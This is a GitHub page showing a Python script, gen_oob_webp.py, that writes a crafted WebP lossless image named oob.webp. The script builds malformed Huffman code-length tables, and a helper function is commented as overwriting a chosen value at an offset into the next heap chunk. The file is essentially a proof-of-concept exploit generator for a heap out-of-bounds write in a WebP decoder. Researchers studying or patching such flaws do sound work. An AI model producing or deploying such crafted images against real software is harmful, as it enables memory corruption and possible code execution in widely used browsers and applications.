-
Notifications
You must be signed in to change notification settings - Fork 10
/
gen_oob_webp.py
138 lines (111 loc) · 3.11 KB
/
gen_oob_webp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from struct import pack
def bitstream_to_bytearray(bitstream: str) -> bytearray:
# Pad the bitstream to make its length a multiple of 8
while len(bitstream) % 8 != 0:
bitstream += "0"
# Convert bitstream to bytearray
byte_array = bytearray()
for i in range(0, len(bitstream), 8):
byte_chunk = bitstream[i : i + 8][::-1]
byte_value = int(byte_chunk, 2)
byte_array.append(byte_value)
return byte_array
def bit(val, len=-1):
if len == -1:
return bin(val)[2:][::-1]
else:
return bin(val)[2:].zfill(len)[::-1]
webp_chunk_size = 0
lossless_stream_size = 0
RIFF_header = b"RIFF"
RIFF_header += pack("I", webp_chunk_size)
RIFF_header += b"WEBPVP8L"
RIFF_header += pack("I", lossless_stream_size)
image_header = b"\x2f"
image_header += bitstream_to_bytearray("0" * 28 + "1000")
# 344 (6)
image_stream = bit(0) + bit(1) + bit(6, 4) + bit(0)
code_length_code_lengths = bit(0) + bit(15, 4)
tmp_list = [4 for i in range(19)]
tmp_list[0] = 0
tmp_list[2] = 0
tmp_list[8] = 0
for i in tmp_list:
code_length_code_lengths += bit(i, 3)
# tmp_buf += '1000' # 9
# tmp_buf += '1001' # 10
# tmp_buf += '1010' # 11
# tmp_buf += '1011' # 12
# tmp_buf += '1100' # 13
# tmp_buf += '1101' # 14
# tmp_buf += '1110'*(259+15) # 15
code_length_green = bit(0)
code_length_green += (
"0000" * 1
+ "1000" * 235
+ "1001" * 37
+ "1010"
+ "1011"
+ "1100"
+ "1101" * 64
+ "1110" * 4
)
code_length_red = bit(0)
code_length_red += (
"0000"
+ "0001"
+ "1000" * 67
+ "1001" * 117
+ "1010"
+ "1011"
+ "1100"
+ "1101" * 65
+ "1110" * 2
)
code_length_dist = bit(0)
def overwrite(offset, value=0x27):
"""
overwrite _value_ on the _offset_ from the start of next heap chunk
_offset_: must be aligned to 8
_value_: must be 3~39
aa_bb_cc_dd: cc is controllable
"""
assert offset % 8 == 0
index = offset // 8
print("index:", index)
assert index <= 7
assert value >= 3 and value <= 0x27
value_index = value - 3
data = (
"0111" * (14 - index * 2)
+ "1000" * (index * 2)
+ "1000" * 16
+ "1000"
+ "1001"
+ "1010"
+ "1011"
+ "1100"
+ "1101"
)
data = data[: value_index * 4] + "1110" * 4 + data[value_index * 4 :]
return data
code_length_dist += overwrite(0, 3)
image_stream += code_length_code_lengths + code_length_green
image_stream += code_length_code_lengths + code_length_red
image_stream += code_length_code_lengths + code_length_red
image_stream += code_length_code_lengths + code_length_red
image_stream += code_length_code_lengths + code_length_dist
image_stream = bitstream_to_bytearray(image_stream)
image_stream += b"\xff" * 0xE
image = bytearray()
image.extend(RIFF_header)
image.extend(image_header)
image.extend(image_stream)
webp_chunk_size = len(image) - 8
lossless_stream_size = webp_chunk_size - 13
# edit image's size
image[4:8] = pack("I", webp_chunk_size)
image[16:20] = pack("I", lossless_stream_size)
print(image)
with open("oob.webp", "wb") as f:
f.write(image)